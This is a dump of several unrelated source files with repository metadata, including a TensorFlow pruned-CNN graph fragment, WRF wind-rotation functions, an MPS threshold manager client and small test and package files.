dictTrain[drop_dict["dropout_rate_conv"]] = 0.5;
dictTest[drop_dict["dropout_rate_conv"]] = 0.0;
# define the graph ('forced_zero' nodes are defined to fix sparsity pattern identified using ADMM in fine-tuning step )
#conv1x -> conv(1, 3, 96, 1, 1, relu=False, name='conv1x')
k_h = 1; k_w = 3; c_o = 96; s_h = 1; s_w = 1
forced_zero1 = tf.mul(variables_dict['W_c1'],placeholders_dict['zero_map0'])
conv1_in = ADMMutils.conv(X, forced_zero1, variables_dict['b_c1'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
#conv1y -> conv(3, 1, 96, 1, 1, relu=False, name='conv1y')
k_h = 3; k_w = 1; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero2 = tf.mul(variables_dict['W_c2'],placeholders_dict['zero_map1'])
conv2_in = ADMMutils.conv(X, forced_zero2, variables_dict['b_c2'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv_cat1 = tf.concat(3, values=[conv1_in,conv2_in])
conv_cat1 = tf.nn.relu(conv_cat1)
#cccp1 -> conv(1, 1, 160, 1, 1, name='cccp1')
k_h = 1; k_w = 1; c_o = 160; s_h = 1; s_w = 1
cccp1_in = ADMMutils.conv(conv_cat1, variables_dict['cccp1W'], variables_dict['cccp1b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp1 = tf.nn.relu(cccp1_in)
#cccp2 -> conv(1, 1, 96, 1, 1, name='cccp2')
k_h = 1; k_w = 1; c_o = 96; s_h = 1; s_w = 1
cccp2_in = ADMMutils.conv(cccp1, variables_dict['cccp2W'], variables_dict['cccp2b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp2 = tf.nn.relu(cccp2_in)
#maxpool1 -> max_pool(3, 3, 2, 2, name='pool1')
k_h = 3; k_w = 3; s_h = 2; s_w = 2; padding = 'SAME'
maxpool1 = tf.nn.max_pool(cccp2 , ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
maxpool1 = tf.nn.dropout(maxpool1, 1.-drop_dict["dropout_rate_conv"])
#conv3 -> conv(3, 3, 192, 1, 1, name='conv2_1')
k_h = 1; k_w = 3; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero3 = tf.mul(variables_dict['W_c3'],placeholders_dict['zero_map2'])
conv3_in = ADMMutils.conv(maxpool1, forced_zero3, variables_dict['b_c3'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
#conv4 -> conv(3,1, 192, 1, 1, name='conv2_2')
k_h = 3; k_w = 1; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero4 = tf.mul(variables_dict['W_c4'],placeholders_dict['zero_map3'])
conv4_in = ADMMutils.conv(maxpool1, forced_zero4, variables_dict['b_c4'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv_cat2 = tf.concat(3, values=[conv3_in,conv4_in])
conv_cat2 = tf.nn.relu(conv_cat2)
#conv5 -> conv(1, 3, 96, 1, 1, name='conv3')
k_h = 1; k_w = 3; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero5 = tf.mul(variables_dict['W_c5'],placeholders_dict['zero_map4'])
conv5_in = ADMMutils.conv(conv_cat2, forced_zero5, variables_dict['b_c5'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
#conv6 -> conv(3, 1, 96, 1, 1, name='conv3')
k_h = 3; k_w = 1; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero6 = tf.mul(variables_dict['W_c6'],placeholders_dict['zero_map5'])
conv6_in = ADMMutils.conv(conv_cat2, forced_zero6, variables_dict['b_c6'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv_cat3 = tf.concat(3, values=[conv5_in,conv6_in])
conv_cat3 = tf.nn.relu(conv_cat3)
#cccp3 -> conv(1, 1, 192, 1, 1, name='cccp3')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp3_in = ADMMutils.conv(conv_cat3, variables_dict['cccp3W'], variables_dict['cccp3b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp3 = tf.nn.relu(cccp3_in)
#cccp4 -> conv(1, 1, 192, 1, 1, name='cccp4')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp4_in = ADMMutils.conv(cccp3, variables_dict['cccp4W'], variables_dict['cccp4b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp4 = tf.nn.relu(cccp4_in)
#avgpool2 -> avg_pool(3, 3, 2, 2, name='pool2')
k_h = 3; k_w = 3; s_h = 2; s_w = 2; padding = 'SAME'
maxpool2 = tf.nn.avg_pool(cccp4, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
maxpool2 = tf.nn.dropout(maxpool2, 1.-drop_dict["dropout_rate_conv"])
#conv5 -> conv(1, 3, 96, 1, 1, name='conv3')
k_h = 1; k_w = 3; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero7 = tf.mul(variables_dict['W_c7'],placeholders_dict['zero_map6'])
conv7_in = ADMMutils.conv(maxpool2, forced_zero7, variables_dict['b_c7'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
#conv6 -> conv(3, 1, 96, 1, 1, name='conv3')
k_h = 3; k_w = 1; c_o = 96; s_h = 1; s_w = 1; group = 1
forced_zero8 = tf.mul(variables_dict['W_c8'],placeholders_dict['zero_map7'])
conv8_in = ADMMutils.conv(maxpool2, forced_zero8, variables_dict['b_c8'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv_cat4 = tf.concat(3, values=[conv7_in,conv8_in])
conv_cat4 = tf.nn.relu(conv_cat4)
#cccp5 -> conv(1, 1, 192, 1, 1, name='cccp5')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp5_in = ADMMutils.conv(conv_cat4, variables_dict['cccp5W'], variables_dict['cccp5b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp5 = tf.nn.relu(cccp5_in)
#cccp6 -> conv(1, 1, 10, 1, 1, name='cccp6')
k_h = 1; k_w = 1; c_o = 10; s_h = 1; s_w = 1
cccp6_in = ADMMutils.conv(cccp5, variables_dict['cccp6W'], variables_dict['cccp6b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp6 = tf.nn.relu(cccp6_in)
#avgpool3 -> avg_pool(8, 8, 1, 1, padding='VALID', name='pool3')
k_h = 8; k_w = 8; s_h = 1; s_w = 1; padding = 'VALID'
maxpool5 = tf.nn.avg_pool(cccp6, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
pred = tf.squeeze(maxpool5)
for num_layer,id_layer in enumerate(layer_list):
#Gamma is the dual variable (i.e., the Lagrange multiplier)
variables_dict['Gamma%s'%str(num_layer)] = tf.Variable(tf.zeros(list(shape_records_sparse[num_layer])),trainable = False)
#F is an additional variable to introduce an additional constraint W - F = 0 giving rise to decoupling the objective function
variables_dict['F%s'%str(num_layer)] = tf.Variable(variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))].initialized_value(), trainable = False)
# sparsity pattern identified using ADMM
dictTrain[placeholders_dict['zero_map%s'%str(num_layer)]] = np.ones(tuple(shape_records_sparse[num_layer]))# at first round
weight_decay_sum = tf.add_n(tf.get_collection('weight_decay'))
lr_w1_vars = tf.get_collection('lr_w1')
lr_b1_vars = tf.get_collection('lr_b1')
lr_w2_vars = tf.get_collection('lr_w2')
lr_b2_vars = tf.get_collection('lr_b2')
if phase=='train' or phase=='scratch':
return pred, weight_decay_sum, lr_w1_vars, lr_b1_vars, lr_w2_vars, lr_b2_vars, variables_dict, placeholders_dict, dictTrain, layer_list, layer_type, shape_records_sparse
elif phase=='test':
return pred, weight_decay_sum, lr_w1_vars, lr_b1_vars, lr_w2_vars, lr_b2_vars, variables_dict, placeholders_dict, dictTest, layer_list, layer_type, shape_records_sparse
| 81.190164
| 178
| 0.60546
| 4,110
| 24,763
| 3.363504
| 0.056691
| 0.110026
| 0.009766
| 0.012153
| 0.909867
| 0.885489
| 0.872179
| 0.865885
| 0.863354
| 0.858218
| 0
| 0.07068
| 0.229253
| 24,763
| 305
| 179
| 81.190164
| 0.65362
| 0.130517
| 0
| 0.739837
| 0
| 0
| 0.075931
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.004065
| false
| 0
| 0.020325
| 0
| 0.03252
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0dee2e2b97b69759bc04a80e61fbfea0d9db0ac7
| 198
|
py
|
Python
|
tests/provider/get_performances_by_jockey_test.py
|
predictive-punter/racing_data
|
0d1b0ad0fe7591ce859d528af719349c0c7534d3
|
[
"MIT"
] | 15
|
2017-04-08T05:22:49.000Z
|
2021-04-20T17:33:22.000Z
|
tests/provider/get_performances_by_jockey_test.py
|
phillc73/racing_data
|
0d1b0ad0fe7591ce859d528af719349c0c7534d3
|
[
"MIT"
] | 54
|
2016-07-21T10:35:45.000Z
|
2016-07-30T23:06:50.000Z
|
tests/provider/get_performances_by_jockey_test.py
|
phillc73/racing_data
|
0d1b0ad0fe7591ce859d528af719349c0c7534d3
|
[
"MIT"
] | 7
|
2016-12-15T06:02:54.000Z
|
2020-04-20T15:32:55.000Z
|
def test_count(jockey, provider):
"""The get_performances_by_jockey method should return the expected number of performances"""
assert len(provider.get_performances_by_jockey(jockey)) >= 1
| 39.6
| 97
| 0.782828
| 27
| 198
| 5.481481
| 0.666667
| 0.202703
| 0.22973
| 0.310811
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005814
| 0.131313
| 198
| 4
| 98
| 49.5
| 0.854651
| 0.439394
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.5
| false
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
21a885c241c6fa4b4472d2e72c866b74ede28aca
| 3,115
|
py
|
Python
|
lectura_rotacionIG.py
|
SudestadaARG/VerificationMetrics_WRF-ERA
|
4e8aaaf7072eecd84ce65ce0ada9d6cb0ffe4912
|
[
"CC0-1.0"
] | 1
|
2022-02-14T08:55:16.000Z
|
2022-02-14T08:55:16.000Z
|
lectura_rotacionIG.py
|
SudestadaARG/VerificationMetrics_WRF-ERA
|
4e8aaaf7072eecd84ce65ce0ada9d6cb0ffe4912
|
[
"CC0-1.0"
] | null | null | null |
lectura_rotacionIG.py
|
SudestadaARG/VerificationMetrics_WRF-ERA
|
4e8aaaf7072eecd84ce65ce0ada9d6cb0ffe4912
|
[
"CC0-1.0"
] | null | null | null |
# Modulos para leer/transformar salidas de ARWpost
# Sept 2016 - Maru Dillon, Maxi Sacco
# Modificacion de lectura ctl para usar la rotacion Martin Iglesias 2018 #Github SudestadaARG
# -------------------------------------------------
# ********* rotate_uv ************
import numpy as np
import numpy.matlib
def rotate_uv(u,v,truelat1,stand_lon,lon2d,lat2d):
"""
Para aplicar a u,v en coordenadas x-y de proyeccion Lambert, y rotarlas
a coordenadas de la Tierra W-E,N-S, es decir a las coordenadas posta de U y V
que son las coordenadas de la proyeccion cilindrica equidistante (o sea lat-lon)
basado en module_calc_uvmet.f90 del src del ARWpost
Asumo que truelat1=truelat2 (sino hay que hacer otra cuenta para el cone)
Keywords args:
u,v -- vientos coord x-y
truelat1, stand_lon -- valores del namelist.wps
lon2d, lat2d -- array de 2 dimensiones de longitudes y latitudes armado con el meshgrid
Output:
(urot,vrot) 2 array separados
"""
RAD_PER_DEG = np.pi/180
cone = np.sin(np.abs(truelat1)*RAD_PER_DEG)
diff = lon2d - stand_lon
for i,val in np.ndenumerate(diff):
if val > 180 :
diff[i] = val - 360
if val < -180 :
diff[i] = val + 360
alpha = np.zeros(np.shape(lat2d))
for i,val in np.ndenumerate(lat2d):
if val < 0 :
alpha[i] = -diff[i] * cone * RAD_PER_DEG
else:
alpha[i] = diff[i] * cone * RAD_PER_DEG
urot = v * np.sin(alpha) + u * np.cos(alpha)
vrot = v * np.cos(alpha) - u * np.sin(alpha)
return (urot, vrot)
# ********* rotate_uv_masked ************
import numpy as np
import numpy.matlib
def rotate_uv_ma(u,v,truelat1,stand_lon,lon2d,lat2d):
"""
Para aplicar a u,v en coordenadas x-y de proyeccion Lambert, y rotarlas
a coordenadas de la Tierra W-E,N-S, es decir a las coordenadas posta de U y V
que son las coordenadas de la proyeccion cilindrica equidistante (o sea lat-lon)
basado en module_calc_uvmet.f90 del src del ARWpost
Asumo que truelat1=truelat2 (sino hay que hacer otra cuenta para el cone)
Keywords args:
u,v -- vientos coord x-y
truelat1, stand_lon -- valores del namelist.wps
lon2d, lat2d -- array de 2 dimensiones de longitudes y latitudes armado con el meshgrid
Output:
(urot,vrot) 2 array separados
"""
RAD_PER_DEG = np.pi/180
cone = np.ma.sin(np.ma.abs(truelat1)*RAD_PER_DEG)
diff = lon2d - stand_lon
for i,val in np.ndenumerate(diff):
if val > 180 :
diff[i] = val - 360
if val < -180 :
diff[i] = val + 360
alpha = np.ma.zeros(np.shape(lat2d))
for i,val in np.ndenumerate(lat2d):
if val < 0 :
alpha[i] = -diff[i] * cone * RAD_PER_DEG
else:
alpha[i] = diff[i] * cone * RAD_PER_DEG
urot = v * np.ma.sin(alpha) + u * np.ma.cos(alpha)
vrot = v * np.ma.cos(alpha) - u * np.ma.sin(alpha)
return (urot, vrot)
| 28.842593
| 94
| 0.596148
| 469
| 3,115
| 3.891258
| 0.26226
| 0.026301
| 0.039452
| 0.019726
| 0.869041
| 0.828493
| 0.828493
| 0.828493
| 0.828493
| 0.828493
| 0
| 0.032389
| 0.286356
| 3,115
| 107
| 95
| 29.11215
| 0.788574
| 0.095987
| 0
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.1
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
df68af916ca24610811051ac7325d7822f1b4ff2
| 1,097
|
py
|
Python
|
guess_who/world.py
|
evanthebouncy/nnhmm
|
acd76edaa1b3aa0c03d39f6a30e60d167359c6ad
|
[
"MIT"
] | null | null | null |
guess_who/world.py
|
evanthebouncy/nnhmm
|
acd76edaa1b3aa0c03d39f6a30e60d167359c6ad
|
[
"MIT"
] | null | null | null |
guess_who/world.py
|
evanthebouncy/nnhmm
|
acd76edaa1b3aa0c03d39f6a30e60d167359c6ad
|
[
"MIT"
] | null | null | null |
L = 10
X_L = 30
world = {0: [1, 0, 0, 0, 0, 0, 1, 0, 1, 1], 1: [0, 0, 0, 1, 1, 0, 0, 0, 1, 1], 2: [0, 0, 0, 0, 1, 1, 0, 1, 0, 1], 3: [0, 0, 0, 1, 1, 0, 1, 1, 0, 0], 4: [0, 0, 1, 0, 1, 0, 1, 0, 0, 1], 5: [0, 0, 0, 0, 1, 1, 0, 0, 1, 1], 6: [0, 1, 1, 1, 0, 0, 0, 1, 1, 1], 7: [1, 0, 1, 0, 1, 1, 1, 0, 1, 1], 8: [1, 1, 1, 0, 1, 0, 1, 1, 1, 1], 9: [1, 0, 1, 0, 1, 1, 0, 1, 0, 0], 10: [1, 0, 0, 1, 0, 0, 1, 1, 1, 0], 11: [1, 0, 0, 1, 1, 1, 0, 1, 0, 0], 12: [0, 1, 0, 1, 1, 1, 1, 0, 1, 0], 13: [1, 1, 1, 0, 0, 1, 1, 0, 0, 0], 14: [0, 0, 1, 0, 1, 1, 0, 0, 1, 1], 15: [1, 1, 0, 1, 1, 0, 0, 0, 0, 0], 16: [1, 1, 1, 0, 0, 1, 0, 1, 1, 1], 17: [1, 1, 1, 0, 1, 1, 0, 0, 0, 1], 18: [1, 1, 0, 0, 0, 1, 1, 1, 1, 1], 19: [0, 0, 0, 1, 0, 1, 1, 1, 1, 1], 20: [0, 1, 0, 0, 0, 0, 1, 1, 0, 0], 21: [0, 0, 1, 0, 1, 1, 1, 0, 0, 1], 22: [1, 0, 1, 0, 1, 1, 1, 1, 0, 1], 23: [0, 0, 1, 0, 1, 0, 0, 0, 0, 0], 24: [1, 1, 0, 0, 1, 1, 1, 1, 1, 0], 25: [0, 0, 1, 1, 0, 0, 1, 0, 1, 0], 26: [0, 1, 0, 1, 0, 1, 1, 1, 1, 1], 27: [1, 1, 1, 1, 1, 0, 0, 1, 1, 0], 28: [0, 1, 0, 0, 1, 1, 1, 0, 1, 0], 29: [0, 0, 1, 1, 0, 0, 0, 0, 1, 0]}
| 182.833333
| 1,078
| 0.330902
| 336
| 1,097
| 1.077381
| 0.10119
| 0.41989
| 0.281768
| 0.198895
| 0.834254
| 0.825967
| 0.69337
| 0.444751
| 0.18232
| 0
| 0
| 0.467635
| 0.309936
| 1,097
| 5
| 1,079
| 219.4
| 0.010568
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
10ce64ca5ce93aef4f4f6f08c0b7229f3922ed8c
| 11,943
|
py
|
Python
|
mps_manager/threshold_manager_client.py
|
slaclab/mps_manager
|
25df03158eb5818d05e8f49970e371d9ec3b71db
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
mps_manager/threshold_manager_client.py
|
slaclab/mps_manager
|
25df03158eb5818d05e8f49970e371d9ec3b71db
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
mps_manager/threshold_manager_client.py
|
slaclab/mps_manager
|
25df03158eb5818d05e8f49970e371d9ec3b71db
|
[
"BSD-3-Clause-LBNL"
] | 1
|
2020-12-12T23:59:03.000Z
|
2020-12-12T23:59:03.000Z
|
import sys
import argparse
import time
import os
import re
import subprocess
from argparse import RawTextHelpFormatter
from mps_manager_protocol import *
import socket
from ctypes import *
from struct import *
class ThresholdManagerClient:
def __init__(self, host='lcls-daemon2', port=1975):
self.host = host
self.port = port
self.num_thresholds = 0
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.host, self.port))
self.device_id = -1
def restore(self, app_id):
message = MpsManagerRequest(request_type=int(MpsManagerRequestType.RESTORE_APP_THRESHOLDS.value),
request_device_id=app_id)
self.sock.send(message.pack())
response = MpsManagerResponse()
data = self.sock.recv(response.size())
response.unpack(data)
if (response.status == int(MpsManagerResponseType.OK.value)):
print(response.status_message)
return True
else:
print('ERROR: Failed to restore thresholds')
if (len(response.status_message) > 0):
print(response.status_message)
return False
def check_device(self, dev_id, dev_name, request_type=int(MpsManagerRequestType.DEVICE_CHECK.value)):
message = MpsManagerRequest(request_type=request_type,
request_device_id=dev_id, request_device_name=dev_name)
self.sock.send(message.pack())
response = MpsManagerResponse()
data = self.sock.recv(response.size())
response.unpack(data)
if (response.status == int(MpsManagerResponseType.OK.value)):
self.device_id = response.device_id
print(response.status_message)
return True
else:
print(response.status_message)
print('ERROR: Invalid device')
return False
def get_thresholds(self):
thresholds = MpsManagerThresholdRequest()
data = self.sock.recv(thresholds.size())
thresholds.unpack(data)
return thresholds
def change_thresholds(self, user, reason, dev_id, dev_name, disable):
message = MpsManagerThresholdRequest(device_id=dev_id, device_name=dev_name,
user_name=user, reason=reason)
if disable:
message.disable = 1
else:
message.disable = 0
for thr_table, v in self.table.items(): # lc1, lc2, idl or aln
# print thr_table
for thr_index, v2 in v.items(): # T0 through T7
# print ' ' + thr_index
thr_index_index = int(thr_index[1])
for thr_integrator, v3 in v2.items(): # I0 through I4
# print(' ' + thr_integrator)
thr_int_index = int(thr_integrator[1])
for thr_type, thr_value in v3.items(): # LOLO or HIHI
thr_type_index = 0 if thr_type == 'l' else 1
# print(' {} = {}'.format(thr_type, thr_value))
if thr_table == 'lc1':
message.lc1_active[thr_type_index][thr_int_index] = 1
message.lc1_value[thr_type_index][thr_int_index] = float(thr_value)
elif thr_table == 'idl':
message.idl_active[thr_type_index][thr_int_index] = 1
message.idl_value[thr_type_index][thr_int_index] = float(thr_value)
elif thr_table == 'lc2':
message.lc2_active[thr_type_index * 8 + thr_index_index][thr_int_index] = 1
message.lc2_value[thr_type_index * 8 + thr_index_index][thr_int_index] = float(thr_value)
elif thr_table == 'alt':
message.alt_active[thr_type_index * 8 + thr_index_index][thr_int_index] = 1
message.alt_value[thr_type_index * 8 + thr_index_index][thr_int_index] = float(thr_value)
self.sock.send(message.pack())
response = MpsManagerThresholdResponse()
data = self.sock.recv(response.size())
response.unpack(data)
if response.status != 0:
print('ERROR: Operation failed - {}'.format(response.message))
#
# build a table/dictionary from the command line parameters
#
def build_threshold_table(self, t):
# fist check the parameters
for l in t:
self.num_thresholds += 1
[table_name, t_index, integrator, t_type, value] = l
table_name = table_name.lower()
t_index = t_index.lower()
integrator = integrator.lower()
t_type = t_type.lower()
if (table_name != 'lc2' and
table_name != 'alt' and
table_name != 'lc1' and
table_name != 'idl'):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid table "{0}" (parameter={})'.format(l[0], l)
return False
if (not (((integrator.startswith('i')) and
len(integrator)==2 and
int(integrator[1])>=0 and
int(integrator[1])<=3) or
integrator=='x' or
integrator=='y' or
integrator=='tmit')):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid integrator "{}" (parameter={})'.format(integrator, l)
return False
if (not (t_index.startswith('t'))):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold "{}", must start with t (parameter={})'.format(t_index, l)
return False
else:
if (len(t_index) != 2):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold "{}", must be in t<index> format (parameter={})'.format(t_index, l)
return False
else:
if (table_name == 'lc2' or table_name == 'alt'):
if (int(t_index[1])<0 or int(t_index[1])>7):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold index "{}", must be between 0 and 7 (parameter={})'.\
format(t_index[1], l)
return False
else:
if (int(t_index[1]) != 0):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold index "{}", must be 0'.\
format(t_index[1], l)
return False
if (not (t_type == 'lolo' or
t_type == 'hihi')):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold type "{}", must be lolo or hihi (parameter={})'.\
format(t_type, l)
return False
# build a dictionary with the input parameters
self.table = {}
for l in t:
[table_name, t_index, integrator, t_type, value] = l
table_name = table_name.lower()
t_index = t_index.lower()
integrator = integrator.lower()
t_type = t_type.lower()
# rename fields to match database
if (integrator == 'x'):
integrator = 'i0'
if (integrator == 'y'):
integrator = 'i1'
if (integrator == 'tmit'):
integrator = 'i2'
if (t_type == 'lolo'):
t_type = 'l'
if (t_type == 'hihi'):
t_type = 'h'
if (not table_name in self.table.keys()):
self.table[table_name]={}
if (not t_index in self.table[table_name].keys()):
self.table[table_name][t_index]={}
if (not integrator in self.table[table_name][t_index].keys()):
self.table[table_name][t_index][integrator]={}
if (not t_type in self.table[table_name][t_index][integrator].keys()):
self.table[table_name][t_index][integrator][t_type]=value
return True
def build_threshold_table_py(self, table_name, t_index, integrator, t_type, value):
# fist check the parameters
self.num_thresholds += 1
table_name = table_name.lower()
t_index = t_index.lower()
integrator = integrator.lower()
t_type = t_type.lower()
if (table_name != 'lc2' and
table_name != 'alt' and
table_name != 'lc1' and
table_name != 'idl'):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid table "{0}" (parameter={})'.format(l[0], l)
return False
if (not (((integrator.startswith('i')) and
len(integrator)==2 and
int(integrator[1])>=0 and
int(integrator[1])<=3) or
integrator=='x' or
integrator=='y' or
integrator=='tmit')):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid integrator "{}" (parameter={})'.format(integrator, l)
return False
if (not (t_index.startswith('t'))):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold "{}", must start with t (parameter={})'.format(t_index, l)
return False
else:
if (len(t_index) != 2):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold "{}", must be in t<index> format (parameter={})'.format(t_index, l)
return False
else:
if (table_name == 'lc2' or table_name == 'alt'):
if (int(t_index[1])<0 or int(t_index[1])>7):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold index "{}", must be between 0 and 7 (parameter={})'.\
format(t_index[1], l)
return False
else:
if (int(t_index[1]) != 0):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold index "{}", must be 0'.\
format(t_index[1], l)
return False
if (not (t_type == 'lolo' or
t_type == 'hihi')):
print 'ERROR: invalid thresholds for table {}, integrator {}, threshold {}'.\
format(table_name, integrator, t_index)
print 'ERROR: invalid threshold type "{}", must be lolo or hihi (parameter={})'.\
format(t_type, l)
return False
# build a dictionary with the input parameters
self.table = {}
table_name = table_name.lower()
t_index = t_index.lower()
integrator = integrator.lower()
t_type = t_type.lower()
# rename fields to match database
if (integrator == 'x'):
integrator = 'i0'
if (integrator == 'y'):
integrator = 'i1'
if (integrator == 'tmit'):
integrator = 'i2'
if (t_type == 'lolo'):
t_type = 'l'
if (t_type == 'hihi'):
t_type = 'h'
if (not table_name in self.table.keys()):
self.table[table_name]={}
if (not t_index in self.table[table_name].keys()):
self.table[table_name][t_index]={}
if (not integrator in self.table[table_name][t_index].keys()):
self.table[table_name][t_index][integrator]={}
if (not t_type in self.table[table_name][t_index][integrator].keys()):
self.table[table_name][t_index][integrator][t_type]=value
return True
| 37.556604
| 109
| 0.59583
| 1,460
| 11,943
| 4.692466
| 0.09863
| 0.04992
| 0.07196
| 0.03941
| 0.748504
| 0.743833
| 0.734053
| 0.734053
| 0.715808
| 0.705007
| 0
| 0.010562
| 0.278573
| 11,943
| 317
| 110
| 37.675079
| 0.784587
| 0.039605
| 0
| 0.748032
| 0
| 0
| 0.173332
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.043307
| null | null | 0.137795
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
804824681d9ddd92fb963a5acb49423387d93e80
| 226
|
py
|
Python
|
githubcap/commands/__init__.py
|
jayvdb/githubcap
|
949d4f4ec0193bc74a8849dfa7b54da19472395d
|
[
"Apache-2.0"
] | 1
|
2018-01-05T13:29:15.000Z
|
2018-01-05T13:29:15.000Z
|
githubcap/commands/__init__.py
|
jayvdb/githubcap
|
949d4f4ec0193bc74a8849dfa7b54da19472395d
|
[
"Apache-2.0"
] | 8
|
2020-01-07T05:29:01.000Z
|
2021-03-25T21:32:05.000Z
|
githubcap/commands/__init__.py
|
jayvdb/githubcap
|
949d4f4ec0193bc74a8849dfa7b54da19472395d
|
[
"Apache-2.0"
] | 2
|
2018-01-05T13:29:20.000Z
|
2020-01-07T05:11:06.000Z
|
"""Commands for githubcap-cli."""
from .config import cli_config
from .issue import cli_issue
from .issue import cli_issue_create
from .issue import cli_issue_edit
from .issue import cli_issues
from .scrape import cli_scrape
| 25.111111
| 35
| 0.814159
| 36
| 226
| 4.888889
| 0.333333
| 0.306818
| 0.340909
| 0.409091
| 0.392045
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.123894
| 226
| 8
| 36
| 28.25
| 0.888889
| 0.119469
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
